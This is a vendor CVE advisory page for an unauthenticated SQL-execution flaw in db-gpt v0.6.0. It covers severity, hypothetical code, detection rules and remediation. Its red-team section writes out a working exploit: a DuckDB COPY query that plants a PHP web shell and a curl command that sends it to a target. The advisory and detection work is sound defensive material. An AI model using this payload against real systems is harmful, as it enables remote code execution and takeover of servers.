☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.1 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10835

CVE-2024-10835 Remote Code Execution in Eosphoros-ai
📅 PUBLISHED: 2025-03-20 10:09 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.18%
👁️
1.18% probability
29.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10835 is a critical vulnerability in the eosphoros-ai/db-gpt project, specifically in version v0.6.0. The vulnerability resides in the web API endpoint POST /api/v1/editor/sql/run, which allows unauthenticated execution of arbitrary SQL queries. Due to the lack of access control, an attacker can leverage DuckDB SQL features to perform arbitrary file writes on the victim's file system, potentially leading to Remote Code Execution (RCE). The CVSS score is 9.1 (Critical), and no patch is currently available. This vulnerability is particularly dangerous because it can be exploited remotely without authentication, and the impact includes full compromise of confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (eosphoros-ai/db-gpt). The package is available on PyPI. Users should verify they are not running version v0.6.0 and monitor for updates. The lack of access control in the API endpoint indicates a fundamental security flaw in the application's design.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.1 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The threat level is critical due to the ease of exploitation and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability is in the POST /api/v1/editor/sql/run endpoint of the db-gpt application. This endpoint is designed to allow users to run SQL queries against a DuckDB database. However, there is no authentication or authorization check, meaning any unauthenticated attacker can send requests to this endpoint.

DuckDB is an in-process SQL OLAP database management system. It supports various SQL extensions, including functions that can read and write files on the file system. For example, DuckDB's COPY statement can be used to write query results to a file. An attacker can craft a malicious SQL query that uses DuckDB's file write capabilities to write arbitrary content to any location on the file system that the application has write access to.

For instance, an attacker could write a web shell to the application's web root, or overwrite configuration files to achieve Remote Code Execution. The lack of input validation and access control makes this a straightforward exploit.

Vulnerable vs. Patched Code

Vulnerable Code (v0.6.0): The vulnerable endpoint likely has no authentication middleware and directly executes the SQL query without sanitization.

# Example of vulnerable code (hypothetical)
@app.route('/api/v1/editor/sql/run', methods=['POST'])
def run_sql():
    data = request.get_json()
    sql = data.get('sql')
    # No authentication check
    # No input validation
    result = duckdb.execute(sql)
    return jsonify(result)

Patched Code (Hypothetical): A patched version would include authentication, authorization, and input validation. It would also restrict the SQL commands that can be executed, preventing dangerous operations like file writes.

# Example of patched code (hypothetical)
@app.route('/api/v1/editor/sql/run', methods=['POST'])
@login_required
def run_sql():
    data = request.get_json()
    sql = data.get('sql')
    # Validate user permissions
    if not current_user.can_execute_sql():
        abort(403)
    # Sanitize input to prevent dangerous operations
    if not is_safe_sql(sql):
        abort(400)
    result = duckdb.execute(sql)
    return jsonify(result)

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable instance of db-gpt v0.6.0 in a controlled environment.
  2. Ensure the application is accessible over the network.

Exploitation Steps:

  1. Identify the target endpoint: POST /api/v1/editor/sql/run.
  2. Craft a malicious SQL query to write a file. For example, to write a PHP web shell:
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' (FORMAT CSV);
    
  3. Send the request using curl:
    curl -X POST http://target:5000/api/v1/editor/sql/run \
      -H "Content-Type: application/json" \
      -d '{"sql": "COPY (SELECT '\''<?php system($_GET[\"cmd\"]); ?>'\'') TO '\''/var/www/html/shell.php'\'' (FORMAT CSV);"}'
    
  4. Access the web shell: http://target/shell.php?cmd=id.

Blue Team

Detection:

  • Monitor for unusual SQL queries in application logs, especially those containing COPY, TO, or file paths.
  • Alert on requests to /api/v1/editor/sql/run from unauthenticated sources.
  • Use network monitoring to detect outbound connections from the application server.

Mitigation:

  • Immediately restrict access to the vulnerable endpoint using a web application firewall (WAF) or reverse proxy.
  • Implement authentication and authorization for all API endpoints.
  • Apply the principle of least privilege to the database user.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /api/v1/editor/sql/run with JSON payloads containing SQL queries.
    • Unusual file creation in web-accessible directories (e.g., .php, .asp, .jsp files).
  • File System IOCs:
    • Unexpected files in /var/www/html/, /tmp/, or other writable directories.
    • Files with suspicious content, such as web shells.
  • Log IOCs:
    • Application logs showing SQL queries with COPY or TO statements.
    • Access logs showing repeated requests to the vulnerable endpoint from the same IP.

Detection Engineering

YARA Rule

rule CVE_2024_10835_SQL_Injection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10835"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10835"
    strings:
        $sql_copy = /COPY\s*\(.*\)\s*TO\s*['"][^'"]+['"]/ nocase
        $sql_write = /WRITE\s*\(/ nocase
        $endpoint = "/api/v1/editor/sql/run"
    condition:
        any of ($sql_copy, $sql_write) and $endpoint
}

Sigma Rule

title: CVE-2024-10835 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the db-gpt vulnerable endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/editor/sql/run'
        cs-uri-query|contains: 
            - 'COPY'
            - 'TO'
    condition: selection
falsepositives:
    - Legitimate administrative use (if any)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10835 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/editor/sql/run"; http_uri; content:"COPY"; http_client_body; content:"TO"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint by blocking access to /api/v1/editor/sql/run at the network level (e.g., using a WAF or firewall).
  2. Implement authentication for all API endpoints. Ensure that only authorized users can execute SQL queries.
  3. Apply input validation to restrict SQL commands to safe operations (e.g., SELECT only, no file write operations).

Long-term Fix:

  • Upgrade to a patched version of db-gpt once available.
  • Conduct a security audit of the application to identify and fix similar vulnerabilities.
  • Implement a secure coding policy that includes mandatory authentication and input validation for all API endpoints.

Workarounds:

  • If the application is not critical, consider taking it offline until a patch is available.
  • Use a reverse proxy to add authentication and rate limiting to the vulnerable endpoint.

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10835/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.